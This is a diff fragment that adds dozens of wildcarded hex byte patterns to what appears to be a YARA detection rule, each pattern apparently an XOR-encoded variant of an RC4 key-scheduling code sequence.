+        $rc4_ksa_xor_2a = { a1??ed??19??f8??dd??5f??3e??a1??6f??26??25??9c??2e??28??29??2c??29??e9??a1??f3??b3??dd??d1??a0??2c??6d??a2??6f??d5??a1??f0??a1??be??b7??d2??d1??d5??d5??a3??3c??a9??ec??2e??25??9c??7f??d5??a7??ae??b7??d2??d1??d5??d5??11??d3??a3??3a??56??ee??a9??4f??3e??2a??a9??57??3a??2a??5c??41 }
+        $rc4_ksa_xor_2b = { a0??ec??18??f9??dc??5e??3f??a0??6e??27??24??9d??2f??29??28??2d??28??e8??a0??f2??b2??dc??d0??a1??2d??6c??a3??6e??d4??a0??f1??a0??bf??b6??d3??d0??d4??d4??a2??3d??a8??ed??2f??24??9d??7e??d4??a6??af??b6??d3??d0??d4??d4??10??d2??a2??3b??57??ef??a8??4e??3f??2b??a8??56??3b??2b??5d??40 }
+        $rc4_ksa_xor_2c = { a7??eb??1f??fe??db??59??38??a7??69??20??23??9a??28??2e??2f??2a??2f??ef??a7??f5??b5??db??d7??a6??2a??6b??a4??69??d3??a7??f6??a7??b8??b1??d4??d7??d3??d3??a5??3a??af??ea??28??23??9a??79??d3??a1??a8??b1??d4??d7??d3??d3??17??d5??a5??3c??50??e8??af??49??38??2c??af??51??3c??2c??5a??47 }
+        $rc4_ksa_xor_2d = { a6??ea??1e??ff??da??58??39??a6??68??21??22??9b??29??2f??2e??2b??2e??ee??a6??f4??b4??da??d6??a7??2b??6a??a5??68??d2??a6??f7??a6??b9??b0??d5??d6??d2??d2??a4??3b??ae??eb??29??22??9b??78??d2??a0??a9??b0??d5??d6??d2??d2??16??d4??a4??3d??51??e9??ae??48??39??2d??ae??50??3d??2d??5b??46 }
+        $rc4_ksa_xor_2e = { a5??e9??1d??fc??d9??5b??3a??a5??6b??22??21??98??2a??2c??2d??28??2d??ed??a5??f7??b7??d9??d5??a4??28??69??a6??6b??d1??a5??f4??a5??ba??b3??d6??d5??d1??d1??a7??38??ad??e8??2a??21??98??7b??d1??a3??aa??b3??d6??d5??d1??d1??15??d7??a7??3e??52??ea??ad??4b??3a??2e??ad??53??3e??2e??58??45 }
+        $rc4_ksa_xor_2f = { a4??e8??1c??fd??d8??5a??3b??a4??6a??23??20??99??2b??2d??2c??29??2c??ec??a4??f6??b6??d8??d4??a5??29??68??a7??6a??d0??a4??f5??a4??bb??b2??d7??d4??d0??d0??a6??39??ac??e9??2b??20??99??7a??d0??a2??ab??b2??d7??d4??d0??d0??14??d6??a6??3f??53??eb??ac??4a??3b??2f??ac??52??3f??2f??59??44 }
+        $rc4_ksa_xor_30 = { bb??f7??03??e2??c7??45??24??bb??75??3c??3f??86??34??32??33??36??33??f3??bb??e9??a9??c7??cb??ba??36??77??b8??75??cf??bb??ea??bb??a4??ad??c8??cb??cf??cf??b9??26??b3??f6??34??3f??86??65??cf??bd??b4??ad??c8??cb??cf??cf??0b??c9??b9??20??4c??f4??b3??55??24??30??b3??4d??20??30??46??5b }
+        $rc4_ksa_xor_31 = { ba??f6??02??e3??c6??44??25??ba??74??3d??3e??87??35??33??32??37??32??f2??ba??e8??a8??c6??ca??bb??37??76??b9??74??ce??ba??eb??ba??a5??ac??c9??ca??ce??ce??b8??27??b2??f7??35??3e??87??64??ce??bc??b5??ac??c9??ca??ce??ce??0a??c8??b8??21??4d??f5??b2??54??25??31??b2??4c??21??31??47??5a }
+        $rc4_ksa_xor_32 = { b9??f5??01??e0??c5??47??26??b9??77??3e??3d??84??36??30??31??34??31??f1??b9??eb??ab??c5??c9??b8??34??75??ba??77??cd??b9??e8??b9??a6??af??ca??c9??cd??cd??bb??24??b1??f4??36??3d??84??67??cd??bf??b6??af??ca??c9??cd??cd??09??cb??bb??22??4e??f6??b1??57??26??32??b1??4f??22??32??44??59 }
+        $rc4_ksa_xor_33 = { b8??f4??00??e1??c4??46??27??b8??76??3f??3c??85??37??31??30??35??30??f0??b8??ea??aa??c4??c8??b9??35??74??bb??76??cc??b8??e9??b8??a7??ae??cb??c8??cc??cc??ba??25??b0??f5??37??3c??85??66??cc??be??b7??ae??cb??c8??cc??cc??08??ca??ba??23??4f??f7??b0??56??27??33??b0??4e??23??33??45??58 }
+        $rc4_ksa_xor_34 = { bf??f3??07??e6??c3??41??20??bf??71??38??3b??82??30??36??37??32??37??f7??bf??ed??ad??c3??cf??be??32??73??bc??71??cb??bf??ee??bf??a0??a9??cc??cf??cb??cb??bd??22??b7??f2??30??3b??82??61??cb??b9??b0??a9??cc??cf??cb??cb??0f??cd??bd??24??48??f0??b7??51??20??34??b7??49??24??34??42??5f }
+        $rc4_ksa_xor_35 = { be??f2??06??e7??c2??40??21??be??70??39??3a??83??31??37??36??33??36??f6??be??ec??ac??c2??ce??bf??33??72??bd??70??ca??be??ef??be??a1??a8??cd??ce??ca??ca??bc??23??b6??f3??31??3a??83??60??ca??b8??b1??a8??cd??ce??ca??ca??0e??cc??bc??25??49??f1??b6??50??21??35??b6??48??25??35??43??5e }
+        $rc4_ksa_xor_36 = { bd??f1??05??e4??c1??43??22??bd??73??3a??39??80??32??34??35??30??35??f5??bd??ef??af??c1??cd??bc??30??71??be??73??c9??bd??ec??bd??a2??ab??ce??cd??c9??c9??bf??20??b5??f0??32??39??80??63??c9??bb??b2??ab??ce??cd??c9??c9??0d??cf??bf??26??4a??f2??b5??53??22??36??b5??4b??26??36??40??5d }
+        $rc4_ksa_xor_37 = { bc??f0??04??e5??c0??42??23??bc??72??3b??38??81??33??35??34??31??34??f4??bc??ee??ae??c0??cc??bd??31??70??bf??72??c8??bc??ed??bc??a3??aa??cf??cc??c8??c8??be??21??b4??f1??33??38??81??62??c8??ba??b3??aa??cf??cc??c8??c8??0c??ce??be??27??4b??f3??b4??52??23??37??b4??4a??27??37??41??5c }
+        $rc4_ksa_xor_38 = { b3??ff??0b??ea??cf??4d??2c??b3??7d??34??37??8e??3c??3a??3b??3e??3b??fb??b3??e1??a1??cf??c3??b2??3e??7f??b0??7d??c7??b3??e2??b3??ac??a5??c0??c3??c7??c7??b1??2e??bb??fe??3c??37??8e??6d??c7??b5??bc??a5??c0??c3??c7??c7??03??c1??b1??28??44??fc??bb??5d??2c??38??bb??45??28??38??4e??53 }
+        $rc4_ksa_xor_39 = { b2??fe??0a??eb??ce??4c??2d??b2??7c??35??36??8f??3d??3b??3a??3f??3a??fa??b2??e0??a0??ce??c2??b3??3f??7e??b1??7c??c6??b2??e3??b2??ad??a4??c1??c2??c6??c6??b0??2f??ba??ff??3d??36??8f??6c??c6??b4??bd??a4??c1??c2??c6??c6??02??c0??b0??29??45??fd??ba??5c??2d??39??ba??44??29??39??4f??52 }
+        $rc4_ksa_xor_3a = { b1??fd??09??e8??cd??4f??2e??b1??7f??36??35??8c??3e??38??39??3c??39??f9??b1??e3??a3??cd??c1??b0??3c??7d??b2??7f??c5??b1??e0??b1??ae??a7??c2??c1??c5??c5??b3??2c??b9??fc??3e??35??8c??6f??c5??b7??be??a7??c2??c1??c5??c5??01??c3??b3??2a??46??fe??b9??5f??2e??3a??b9??47??2a??3a??4c??51 }
+        $rc4_ksa_xor_3b = { b0??fc??08??e9??cc??4e??2f??b0??7e??37??34??8d??3f??39??38??3d??38??f8??b0??e2??a2??cc??c0??b1??3d??7c??b3??7e??c4??b0??e1??b0??af??a6??c3??c0??c4??c4??b2??2d??b8??fd??3f??34??8d??6e??c4??b6??bf??a6??c3??c0??c4??c4??00??c2??b2??2b??47??ff??b8??5e??2f??3b??b8??46??2b??3b??4d??50 }
+        $rc4_ksa_xor_3c = { b7??fb??0f??ee??cb??49??28??b7??79??30??33??8a??38??3e??3f??3a??3f??ff??b7??e5??a5??cb??c7??b6??3a??7b??b4??79??c3??b7??e6??b7??a8??a1??c4??c7??c3??c3??b5??2a??bf??fa??38??33??8a??69??c3??b1??b8??a1??c4??c7??c3??c3??07??c5??b5??2c??40??f8??bf??59??28??3c??bf??41??2c??3c??4a??57 }
+        $rc4_ksa_xor_3d = { b6??fa??0e??ef??ca??48??29??b6??78??31??32??8b??39??3f??3e??3b??3e??fe??b6??e4??a4??ca??c6??b7??3b??7a??b5??78??c2??b6??e7??b6??a9??a0??c5??c6??c2??c2??b4??2b??be??fb??39??32??8b??68??c2??b0??b9??a0??c5??c6??c2??c2??06??c4??b4??2d??41??f9??be??58??29??3d??be??40??2d??3d??4b??56 }
+        $rc4_ksa_xor_3e = { b5??f9??0d??ec??c9??4b??2a??b5??7b??32??31??88??3a??3c??3d??38??3d??fd??b5??e7??a7??c9??c5??b4??38??79??b6??7b??c1??b5??e4??b5??aa??a3??c6??c5??c1??c1??b7??28??bd??f8??3a??31??88??6b??c1??b3??ba??a3??c6??c5??c1??c1??05??c7??b7??2e??42??fa??bd??5b??2a??3e??bd??43??2e??3e??48??55 }
+        $rc4_ksa_xor_3f = { b4??f8??0c??ed??c8??4a??2b??b4??7a??33??30??89??3b??3d??3c??39??3c??fc??b4??e6??a6??c8??c4??b5??39??78??b7??7a??c0??b4??e5??b4??ab??a2??c7??c4??c0??c0??b6??29??bc??f9??3b??30??89??6a??c0??b2??bb??a2??c7??c4??c0??c0??04??c6??b6??2f??43??fb??bc??5a??2b??3f??bc??42??2f??3f??49??54 }
+        $rc4_ksa_xor_40 = { cb??87??73??92??b7??35??54??cb??05??4c??4f??f6??44??42??43??46??43??83??cb??99??d9??b7??bb??ca??46??07??c8??05??bf??cb??9a??cb??d4??dd??b8??bb??bf??bf??c9??56??c3??86??44??4f??f6??15??bf??cd??c4??dd??b8??bb??bf??bf??7b??b9??c9??50??3c??84??c3??25??54??40??c3??3d??50??40??36??2b }
+        $rc4_ksa_xor_41 = { ca??86??72??93??b6??34??55??ca??04??4d??4e??f7??45??43??42??47??42??82??ca??98??d8??b6??ba??cb??47??06??c9??04??be??ca??9b??ca??d5??dc??b9??ba??be??be??c8??57??c2??87??45??4e??f7??14??be??cc??c5??dc??b9??ba??be??be??7a??b8??c8??51??3d??85??c2??24??55??41??c2??3c??51??41??37??2a }
+        $rc4_ksa_xor_42 = { c9??85??71??90??b5??37??56??c9??07??4e??4d??f4??46??40??41??44??41??81??c9??9b??db??b5??b9??c8??44??05??ca??07??bd??c9??98??c9??d6??df??ba??b9??bd??bd??cb??54??c1??84??46??4d??f4??17??bd??cf??c6??df??ba??b9??bd??bd??79??bb??cb??52??3e??86??c1??27??56??42??c1??3f??52??42??34??29 }
+        $rc4_ksa_xor_43 = { c8??84??70??91??b4??36??57??c8??06??4f??4c??f5??47??41??40??45??40??80??c8??9a??da??b4??b8??c9??45??04??cb??06??bc??c8??99??c8??d7??de??bb??b8??bc??bc??ca??55??c0??85??47??4c??f5??16??bc??ce??c7??de??bb??b8??bc??bc??78??ba??ca??53??3f??87??c0??26??57??43??c0??3e??53??43??35??28 }
+        $rc4_ksa_xor_44 = { cf??83??77??96??b3??31??50??cf??01??48??4b??f2??40??46??47??42??47??87??cf??9d??dd??b3??bf??ce??42??03??cc??01??bb??cf??9e??cf??d0??d9??bc??bf??bb??bb??cd??52??c7??82??40??4b??f2??11??bb??c9??c0??d9??bc??bf??bb??bb??7f??bd??cd??54??38??80??c7??21??50??44??c7??39??54??44??32??2f }
+        $rc4_ksa_xor_45 = { ce??82??76??97??b2??30??51??ce??00??49??4a??f3??41??47??46??43??46??86??ce??9c??dc??b2??be??cf??43??02??cd??00??ba??ce??9f??ce??d1??d8??bd??be??ba??ba??cc??53??c6??83??41??4a??f3??10??ba??c8??c1??d8??bd??be??ba??ba??7e??bc??cc??55??39??81??c6??20??51??45??c6??38??55??45??33??2e }
+        $rc4_ksa_xor_46 = { cd??81??75??94??b1??33??52??cd??03??4a??49??f0??42??44??45??40??45??85??cd??9f??df??b1??bd??cc??40??01??ce??03??b9??cd??9c??cd??d2??db??be??bd??b9??b9??cf??50??c5??80??42??49??f0??13??b9??cb??c2??db??be??bd??b9??b9??7d??bf??cf??56??3a??82??c5??23??52??46??c5??3b??56??46??30??2d }
+        $rc4_ksa_xor_47 = { cc??80??74??95??b0??32??53??cc??02??4b??48??f1??43??45??44??41??44??84??cc??9e??de??b0??bc??cd??41??00??cf??02??b8??cc??9d??cc??d3??da??bf??bc??b8??b8??ce??51??c4??81??43??48??f1??12??b8??ca??c3??da??bf??bc??b8??b8??7c??be??ce??57??3b??83??c4??22??53??47??c4??3a??57??47??31??2c }
+        $rc4_ksa_xor_48 = { c3??8f??7b??9a??bf??3d??5c??c3??0d??44??47??fe??4c??4a??4b??4e??4b??8b??c3??91??d1??bf??b3??c2??4e??0f??c0??0d??b7??c3??92??c3??dc??d5??b0??b3??b7??b7??c1??5e??cb??8e??4c??47??fe??1d??b7??c5??cc??d5??b0??b3??b7??b7??73??b1??c1??58??34??8c??cb??2d??5c??48??cb??35??58??48??3e??23 }
+        $rc4_ksa_xor_49 = { c2??8e??7a??9b??be??3c??5d??c2??0c??45??46??ff??4d??4b??4a??4f??4a??8a??c2??90??d0??be??b2??c3??4f??0e??c1??0c??b6??c2??93??c2??dd??d4??b1??b2??b6??b6??c0??5f??ca??8f??4d??46??ff??1c??b6??c4??cd??d4??b1??b2??b6??b6??72??b0??c0??59??35??8d??ca??2c??5d??49??ca??34??59??49??3f??22 }
+        $rc4_ksa_xor_4a = { c1??8d??79??98??bd??3f??5e??c1??0f??46??45??fc??4e??48??49??4c??49??89??c1??93??d3??bd??b1??c0??4c??0d??c2??0f??b5??c1??90??c1??de??d7??b2??b1??b5??b5??c3??5c??c9??8c??4e??45??fc??1f??b5??c7??ce??d7??b2??b1??b5??b5??71??b3??c3??5a??36??8e??c9??2f??5e??4a??c9??37??5a??4a??3c??21 }
+        $rc4_ksa_xor_4b = { c0??8c??78??99??bc??3e??5f??c0??0e??47??44??fd??4f??49??48??4d??48??88??c0??92??d2??bc??b0??c1??4d??0c??c3??0e??b4??c0??91??c0??df??d6??b3??b0??b4??b4??c2??5d??c8??8d??4f??44??fd??1e??b4??c6??cf??d6??b3??b0??b4??b4??70??b2??c2??5b??37??8f??c8??2e??5f??4b??c8??36??5b??4b??3d??20 }
+        $rc4_ksa_xor_4c = { c7??8b??7f??9e??bb??39??58??c7??09??40??43??fa??48??4e??4f??4a??4f??8f??c7??95??d5??bb??b7??c6??4a??0b??c4??09??b3??c7??96??c7??d8??d1??b4??b7??b3??b3??c5??5a??cf??8a??48??43??fa??19??b3??c1??c8??d1??b4??b7??b3??b3??77??b5??c5??5c??30??88??cf??29??58??4c??cf??31??5c??4c??3a??27 }
+        $rc4_ksa_xor_4d = { c6??8a??7e??9f??ba??38??59??c6??08??41??42??fb??49??4f??4e??4b??4e??8e??c6??94??d4??ba??b6??c7??4b??0a??c5??08??b2??c6??97??c6??d9??d0??b5??b6??b2??b2??c4??5b??ce??8b??49??42??fb??18??b2??c0??c9??d0??b5??b6??b2??b2??76??b4??c4??5d??31??89??ce??28??59??4d??ce??30??5d??4d??3b??26 }
+        $rc4_ksa_xor_4e = { c5??89??7d??9c??b9??3b??5a??c5??0b??42??41??f8??4a??4c??4d??48??4d??8d??c5??97??d7??b9??b5??c4??48??09??c6??0b??b1??c5??94??c5??da??d3??b6??b5??b1??b1??c7??58??cd??88??4a??41??f8??1b??b1??c3??ca??d3??b6??b5??b1??b1??75??b7??c7??5e??32??8a??cd??2b??5a??4e??cd??33??5e??4e??38??25 }
+        $rc4_ksa_xor_4f = { c4??88??7c??9d??b8??3a??5b??c4??0a??43??40??f9??4b??4d??4c??49??4c??8c??c4??96??d6??b8??b4??c5??49??08??c7??0a??b0??c4??95??c4??db??d2??b7??b4??b0??b0??c6??59??cc??89??4b??40??f9??1a??b0??c2??cb??d2??b7??b4??b0??b0??74??b6??c6??5f??33??8b??cc??2a??5b??4f??cc??32??5f??4f??39??24 }
+        $rc4_ksa_xor_50 = { db??97??63??82??a7??25??44??db??15??5c??5f??e6??54??52??53??56??53??93??db??89??c9??a7??ab??da??56??17??d8??15??af??db??8a??db??c4??cd??a8??ab??af??af??d9??46??d3??96??54??5f??e6??05??af??dd??d4??cd??a8??ab??af??af??6b??a9??d9??40??2c??94??d3??35??44??50??d3??2d??40??50??26??3b }
+        $rc4_ksa_xor_51 = { da??96??62??83??a6??24??45??da??14??5d??5e??e7??55??53??52??57??52??92??da??88??c8??a6??aa??db??57??16??d9??14??ae??da??8b??da??c5??cc??a9??aa??ae??ae??d8??47??d2??97??55??5e??e7??04??ae??dc??d5??cc??a9??aa??ae??ae??6a??a8??d8??41??2d??95??d2??34??45??51??d2??2c??41??51??27??3a }
+        $rc4_ksa_xor_52 = { d9??95??61??80??a5??27??46??d9??17??5e??5d??e4??56??50??51??54??51??91??d9??8b??cb??a5??a9??d8??54??15??da??17??ad??d9??88??d9??c6??cf??aa??a9??ad??ad??db??44??d1??94??56??5d??e4??07??ad??df??d6??cf??aa??a9??ad??ad??69??ab??db??42??2e??96??d1??37??46??52??d1??2f??42??52??24??39 }
+        $rc4_ksa_xor_53 = { d8??94??60??81??a4??26??47??d8??16??5f??5c??e5??57??51??50??55??50??90??d8??8a??ca??a4??a8??d9??55??14??db??16??ac??d8??89??d8??c7??ce??ab??a8??ac??ac??da??45??d0??95??57??5c??e5??06??ac??de??d7??ce??ab??a8??ac??ac??68??aa??da??43??2f??97??d0??36??47??53??d0??2e??43??53??25??38 }
+        $rc4_ksa_xor_54 = { df??93??67??86??a3??21??40??df??11??58??5b??e2??50??56??57??52??57??97??df??8d??cd??a3??af??de??52??13??dc??11??ab??df??8e??df??c0??c9??ac??af??ab??ab??dd??42??d7??92??50??5b??e2??01??ab??d9??d0??c9??ac??af??ab??ab??6f??ad??dd??44??28??90??d7??31??40??54??d7??29??44??54??22??3f }
+        $rc4_ksa_xor_55 = { de??92??66??87??a2??20??41??de??10??59??5a??e3??51??57??56??53??56??96??de??8c??cc??a2??ae??df??53??12??dd??10??aa??de??8f??de??c1??c8??ad??ae??aa??aa??dc??43??d6??93??51??5a??e3??00??aa??d8??d1??c8??ad??ae??aa??aa??6e??ac??dc??45??29??91??d6??30??41??55??d6??28??45??55??23??3e }
+        $rc4_ksa_xor_56 = { dd??91??65??84??a1??23??42??dd??13??5a??59??e0??52??54??55??50??55??95??dd??8f??cf??a1??ad??dc??50??11??de??13??a9??dd??8c??dd??c2??cb??ae??ad??a9??a9??df??40??d5??90??52??59??e0??03??a9??db??d2??cb??ae??ad??a9??a9??6d??af??df??46??2a??92??d5??33??42??56??d5??2b??46??56??20??3d }
+        $rc4_ksa_xor_57 = { dc??90??64??85??a0??22??43??dc??12??5b??58??e1??53??55??54??51??54??94??dc??8e??ce??a0??ac??dd??51??10??df??12??a8??dc??8d??dc??c3??ca??af??ac??a8??a8??de??41??d4??91??53??58??e1??02??a8??da??d3??ca??af??ac??a8??a8??6c??ae??de??47??2b??93??d4??32??43??57??d4??2a??47??57??21??3c }
+        $rc4_ksa_xor_58 = { d3??9f??6b??8a??af??2d??4c??d3??1d??54??57??ee??5c??5a??5b??5e??5b??9b??d3??81??c1??af??a3??d2??5e??1f??d0??1d??a7??d3??82??d3??cc??c5??a0??a3??a7??a7??d1??4e??db??9e??5c??57??ee??0d??a7??d5??dc??c5??a0??a3??a7??a7??63??a1??d1??48??24??9c??db??3d??4c??58??db??25??48??58??2e??33 }
+        $rc4_ksa_xor_59 = { d2??9e??6a??8b??ae??2c??4d??d2??1c??55??56??ef??5d??5b??5a??5f??5a??9a??d2??80??c0??ae??a2??d3??5f??1e??d1??1c??a6??d2??83??d2??cd??c4??a1??a2??a6??a6??d0??4f??da??9f??5d??56??ef??0c??a6??d4??dd??c4??a1??a2??a6??a6??62??a0??d0??49??25??9d??da??3c??4d??59??da??24??49??59??2f??32 }
+        $rc4_ksa_xor_5a = { d1??9d??69??88??ad??2f??4e??d1??1f??56??55??ec??5e??58??59??5c??59??99??d1??83??c3??ad??a1??d0??5c??1d??d2??1f??a5??d1??80??d1??ce??c7??a2??a1??a5??a5??d3??4c??d9??9c??5e??55??ec??0f??a5??d7??de??c7??a2??a1??a5??a5??61??a3??d3??4a??26??9e??d9??3f??4e??5a??d9??27??4a??5a??2c??31 }
+        $rc4_ksa_xor_5b = { d0??9c??68??89??ac??2e??4f??d0??1e??57??54??ed??5f??59??58??5d??58??98??d0??82??c2??ac??a0??d1??5d??1c??d3??1e??a4??d0??81??d0??cf??c6??a3??a0??a4??a4??d2??4d??d8??9d??5f??54??ed??0e??a4??d6??df??c6??a3??a0??a4??a4??60??a2??d2??4b??27??9f??d8??3e??4f??5b??d8??26??4b??5b??2d??30 }
+        $rc4_ksa_xor_5c = { d7??9b??6f??8e??ab??29??48??d7??19??50??53??ea??58??5e??5f??5a??5f??9f??d7??85??c5??ab??a7??d6??5a??1b??d4??19??a3??d7??86??d7??c8??c1??a4??a7??a3??a3??d5??4a??df??9a??58??53??ea??09??a3??d1??d8??c1??a4??a7??a3??a3??67??a5??d5??4c??20??98??df??39??48??5c??df??21??4c??5c??2a??37 }
+        $rc4_ksa_xor_5d = { d6??9a??6e??8f??aa??28??49??d6??18??51??52??eb??59??5f??5e??5b??5e??9e??d6??84??c4??aa??a6??d7??5b??1a??d5??18??a2??d6??87??d6??c9??c0??a5??a6??a2??a2??d4??4b??de??9b??59??52??eb??08??a2??d0??d9??c0??a5??a6??a2??a2??66??a4??d4??4d??21??99??de??38??49??5d??de??20??4d??5d??2b??36 }
+        $rc4_ksa_xor_5e = { d5??99??6d??8c??a9??2b??4a??d5??1b??52??51??e8??5a??5c??5d??58??5d??9d??d5??87??c7??a9??a5??d4??58??19??d6??1b??a1??d5??84??d5??ca??c3??a6??a5??a1??a1??d7??48??dd??98??5a??51??e8??0b??a1??d3??da??c3??a6??a5??a1??a1??65??a7??d7??4e??22??9a??dd??3b??4a??5e??dd??23??4e??5e??28??35 }
+        $rc4_ksa_xor_5f = { d4??98??6c??8d??a8??2a??4b??d4??1a??53??50??e9??5b??5d??5c??59??5c??9c??d4??86??c6??a8??a4??d5??59??18??d7??1a??a0??d4??85??d4??cb??c2??a7??a4??a0??a0??d6??49??dc??99??5b??50??e9??0a??a0??d2??db??c2??a7??a4??a0??a0??64??a6??d6??4f??23??9b??dc??3a??4b??5f??dc??22??4f??5f??29??34 }
+        $rc4_ksa_xor_60 = { eb??a7??53??b2??97??15??74??eb??25??6c??6f??d6??64??62??63??66??63??a3??eb??b9??f9??97??9b??ea??66??27??e8??25??9f??eb??ba??eb??f4??fd??98??9b??9f??9f??e9??76??e3??a6??64??6f??d6??35??9f??ed??e4??fd??98??9b??9f??9f??5b??99??e9??70??1c??a4??e3??05??74??60??e3??1d??70??60??16??0b }
+        $rc4_ksa_xor_61 = { ea??a6??52??b3??96??14??75??ea??24??6d??6e??d7??65??63??62??67??62??a2??ea??b8??f8??96??9a??eb??67??26??e9??24??9e??ea??bb??ea??f5??fc??99??9a??9e??9e??e8??77??e2??a7??65??6e??d7??34??9e??ec??e5??fc??99??9a??9e??9e??5a??98??e8??71??1d??a5??e2??04??75??61??e2??1c??71??61??17??0a }
+        $rc4_ksa_xor_62 = { e9??a5??51??b0??95??17??76??e9??27??6e??6d??d4??66??60??61??64??61??a1??e9??bb??fb??95??99??e8??64??25??ea??27??9d??e9??b8??e9??f6??ff??9a??99??9d??9d??eb??74??e1??a4??66??6d??d4??37??9d??ef??e6??ff??9a??99??9d??9d??59??9b??eb??72??1e??a6??e1??07??76??62??e1??1f??72??62??14??09 }
+        $rc4_ksa_xor_63 = { e8??a4??50??b1??94??16??77??e8??26??6f??6c??d5??67??61??60??65??60??a0??e8??ba??fa??94??98??e9??65??24??eb??26??9c??e8??b9??e8??f7??fe??9b??98??9c??9c??ea??75??e0??a5??67??6c??d5??36??9c??ee??e7??fe??9b??98??9c??9c??58??9a??ea??73??1f??a7??e0??06??77??63??e0??1e??73??63??15??08 }
+        $rc4_ksa_xor_64 = { ef??a3??57??b6??93??11??70??ef??21??68??6b??d2??60??66??67??62??67??a7??ef??bd??fd??93??9f??ee??62??23??ec??21??9b??ef??be??ef??f0??f9??9c??9f??9b??9b??ed??72??e7??a2??60??6b??d2??31??9b??e9??e0??f9??9c??9f??9b??9b??5f??9d??ed??74??18??a0??e7??01??70??64??e7??19??74??64??12??0f }
+        $rc4_ksa_xor_65 = { ee??a2??56??b7??92??10??71??ee??20??69??6a??d3??61??67??66??63??66??a6??ee??bc??fc??92??9e??ef??63??22??ed??20??9a??ee??bf??ee??f1??f8??9d??9e??9a??9a??ec??73??e6??a3??61??6a??d3??30??9a??e8??e1??f8??9d??9e??9a??9a??5e??9c??ec??75??19??a1??e6??00??71??65??e6??18??75??65??13??0e }
+        $rc4_ksa_xor_66 = { ed??a1??55??b4??91??13??72??ed??23??6a??69??d0??62??64??65??60??65??a5??ed??bf??ff??91??9d??ec??60??21??ee??23??99??ed??bc??ed??f2??fb??9e??9d??99??99??ef??70??e5??a0??62??69??d0??33??99??eb??e2??fb??9e??9d??99??99??5d??9f??ef??76??1a??a2??e5??03??72??66??e5??1b??76??66??10??0d }
+        $rc4_ksa_xor_67 = { ec??a0??54??b5??90??12??73??ec??22??6b??68??d1??63??65??64??61??64??a4??ec??be??fe??90??9c??ed??61??20??ef??22??98??ec??bd??ec??f3??fa??9f??9c??98??98??ee??71??e4??a1??63??68??d1??32??98??ea??e3??fa??9f??9c??98??98??5c??9e??ee??77??1b??a3??e4??02??73??67??e4??1a??77??67??11??0c }
+        $rc4_ksa_xor_68 = { e3??af??5b??ba??9f??1d??7c??e3??2d??64??67??de??6c??6a??6b??6e??6b??ab??e3??b1??f1??9f??93??e2??6e??2f??e0??2d??97??e3??b2??e3??fc??f5??90??93??97??97??e1??7e??eb??ae??6c??67??de??3d??97??e5??ec??f5??90??93??97??97??53??91??e1??78??14??ac??eb??0d??7c??68??eb??15??78??68??1e??03 }
+        $rc4_ksa_xor_69 = { e2??ae??5a??bb??9e??1c??7d??e2??2c??65??66??df??6d??6b??6a??6f??6a??aa??e2??b0??f0??9e??92??e3??6f??2e??e1??2c??96??e2??b3??e2??fd??f4??91??92??96??96??e0??7f??ea??af??6d??66??df??3c??96??e4??ed??f4??91??92??96??96??52??90??e0??79??15??ad??ea??0c??7d??69??ea??14??79??69??1f??02 }
+        $rc4_ksa_xor_6a = { e1??ad??59??b8??9d??1f??7e??e1??2f??66??65??dc??6e??68??69??6c??69??a9??e1??b3??f3??9d??91??e0??6c??2d??e2??2f??95??e1??b0??e1??fe??f7??92??91??95??95??e3??7c??e9??ac??6e??65??dc??3f??95??e7??ee??f7??92??91??95??95??51??93??e3??7a??16??ae??e9??0f??7e??6a??e9??17??7a??6a??1c??01 }
+        $rc4_ksa_xor_6b = { e0??ac??58??b9??9c??1e??7f??e0??2e??67??64??dd??6f??69??68??6d??68??a8??e0??b2??f2??9c??90??e1??6d??2c??e3??2e??94??e0??b1??e0??ff??f6??93??90??94??94??e2??7d??e8??ad??6f??64??dd??3e??94??e6??ef??f6??93??90??94??94??50??92??e2??7b??17??af??e8??0e??7f??6b??e8??16??7b??6b??1d??00 }
+        $rc4_ksa_xor_6c = { e7??ab??5f??be??9b??19??78??e7??29??60??63??da??68??6e??6f??6a??6f??af??e7??b5??f5??9b??97??e6??6a??2b??e4??29??93??e7??b6??e7??f8??f1??94??97??93??93??e5??7a??ef??aa??68??63??da??39??93??e1??e8??f1??94??97??93??93??57??95??e5??7c??10??a8??ef??09??78??6c??ef??11??7c??6c??1a??07 }
+        $rc4_ksa_xor_6d = { e6??aa??5e??bf??9a??18??79??e6??28??61??62??db??69??6f??6e??6b??6e??ae??e6??b4??f4??9a??96??e7??6b??2a??e5??28??92??e6??b7??e6??f9??f0??95??96??92??92??e4??7b??ee??ab??69??62??db??38??92??e0??e9??f0??95??96??92??92??56??94??e4??7d??11??a9??ee??08??79??6d??ee??10??7d??6d??1b??06 }
+        $rc4_ksa_xor_6e = { e5??a9??5d??bc??99??1b??7a??e5??2b??62??61??d8??6a??6c??6d??68??6d??ad??e5??b7??f7??99??95??e4??68??29??e6??2b??91??e5??b4??e5??fa??f3??96??95??91??91??e7??78??ed??a8??6a??61??d8??3b??91??e3??ea??f3??96??95??91??91??55??97??e7??7e??12??aa??ed??0b??7a??6e??ed??13??7e??6e??18??05 }
+        $rc4_ksa_xor_6f = { e4??a8??5c??bd??98??1a??7b??e4??2a??63??60??d9??6b??6d??6c??69??6c??ac??e4??b6??f6??98??94??e5??69??28??e7??2a??90??e4??b5??e4??fb??f2??97??94??90??90??e6??79??ec??a9??6b??60??d9??3a??90??e2??eb??f2??97??94??90??90??54??96??e6??7f??13??ab??ec??0a??7b??6f??ec??12??7f??6f??19??04 }
+        $rc4_ksa_xor_70 = { fb??b7??43??a2??87??05??64??fb??35??7c??7f??c6??74??72??73??76??73??b3??fb??a9??e9??87??8b??fa??76??37??f8??35??8f??fb??aa??fb??e4??ed??88??8b??8f??8f??f9??66??f3??b6??74??7f??c6??25??8f??fd??f4??ed??88??8b??8f??8f??4b??89??f9??60??0c??b4??f3??15??64??70??f3??0d??60??70??06??1b }
+        $rc4_ksa_xor_71 = { fa??b6??42??a3??86??04??65??fa??34??7d??7e??c7??75??73??72??77??72??b2??fa??a8??e8??86??8a??fb??77??36??f9??34??8e??fa??ab??fa??e5??ec??89??8a??8e??8e??f8??67??f2??b7??75??7e??c7??24??8e??fc??f5??ec??89??8a??8e??8e??4a??88??f8??61??0d??b5??f2??14??65??71??f2??0c??61??71??07??1a }
+        $rc4_ksa_xor_72 = { f9??b5??41??a0??85??07??66??f9??37??7e??7d??c4??76??70??71??74??71??b1??f9??ab??eb??85??89??f8??74??35??fa??37??8d??f9??a8??f9??e6??ef??8a??89??8d??8d??fb??64??f1??b4??76??7d??c4??27??8d??ff??f6??ef??8a??89??8d??8d??49??8b??fb??62??0e??b6??f1??17??66??72??f1??0f??62??72??04??19 }
